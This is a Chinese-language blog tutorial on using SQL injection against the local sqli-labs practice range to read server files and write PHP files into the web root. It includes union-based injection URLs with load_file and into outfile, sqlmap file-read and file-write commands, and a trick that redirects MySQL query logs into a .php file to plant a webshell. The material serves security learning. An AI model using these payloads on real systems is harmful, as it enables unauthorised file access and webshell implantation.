SQL注入文件读写总结

SQL注入文件读写总结

SQL注入漏洞除了可以对数据库进行数据的查询之外,还可以对的服务器的文件进行读写操作。

靶场:  http://127.0.0.1/sqli-labs/Less-2/?id=1

一、SQL注入读取文件

首先在D盘根目录下新建一个test.txt文件,为要读取的目标文件,内容为:好好学习,天天向上!
avatar

(1)、手工

语句: select load_file(‘文件路径’)
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file('D://test.txt')--+

(2)、sqlmap

语句:--file-read 文件路径   从数据库服务器中读取文件
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --file-read "D:/test.txt"

结果保存在:C:\Users\Ifory\AppData\Local\sqlmap\output\127.0.0.1\files\D__test.txt

二、SQL注入写入文件

(1)、手工

select '<?php phpinfo() ?>' into outfile  '目的文件'          
select '<?php phpinfo() ?>' into dumpfile '目的文件'   (用于二进制文件)

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,'' into dumpfile 'D:\phpstudy_pro\WWW\a.php'--+

访问成功,文件已写

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,'' into outfile 'D:\phpstudy_pro\WWW\b.php'--+

访问成功,文件已写

(2)、sqlmap

语句:--file-write 本地文件 --file-dest 目的文件

例:将本地D:/test.txt文件,写入D:/phpstudy_pro/WWW/aa.php中

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --file-write "D:/test.txt" --file-dest "D:/phpstudy_pro/WWW/aa.php"

访问成功,文件已写

三、文件读写前提条件

  1. 用户权限足够高,尽量具有root权限。
  2. secure_file_priv 选项不对文件读写权限限制
  3. 知道绝对物理路径
  4. 能够使用联合查询(sql注入时)

查询当前用户是否有文件读写权限:

and (select File_priv from mysql.user where user='root' and host='localhost')='Y'%23

secure_file_priv参数用来限制数据导入和导出操作的效果

  • secure_file_prive=null 限制mysqld 不允许导入和导出
  • secure_file_priv=/tmp/ 限制mysqld 的导入和导出只能在/tmp/目录下
  • secure_file_priv= 不对mysqld 的导入和导出做限制

使用命令查看权限配置

show global variables like '%secure%';

mysql 5.6.34版本以后,配置文件默认没有secure_file_priv这个选项,实际为NULL。并且无法用sql语句对其进行修改,只能够通过修改以下文件。

windows下 my.ini
[mysqld]
secure_file_priv=
linux下 cat /etc/my.cnf
[mysqld]
secure_file_priv=

四、突破secure_file_priv 选项限制

通过日志文件,原理都是修改日志存放的路径及文件,通过执行操作把木马存入修改后的日志中,达到写入木马的目的。

1、查看日志状态(默认禁止)

show variables like 'general_log%';       查询日志

show variables like '%slow_query_log%';   慢查询日志

2、开启日志记录

set global general_log = 'ON';   查询日志
set global slow_query_log=1;     慢查询日志

3、伪造(修改)日志文件的绝对路径以及文件名

set global general_log_file="D:/phpstudy_pro/WWW/test.php";    查询日志
set global slow_query_log_file='D:/phpstudy_pro/WWW/test.php’; 慢查询日志

默认日志路径已更改

4、执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中

select '<?php phpinfo() ?>';                 查询日志
select '<?php phpinfo() ?>' or sleep(11);    慢查询日志




关于慢查询日志

命令执行时间超过long_query_time设定的值(默认10s),则会保存至慢查询日志。
查看long_query_time设定的值

show global variables like '%long_query_time%';   

posted @ 2021-03-05 14:00  Ifory  阅读(3004)  评论(0)    收藏  举报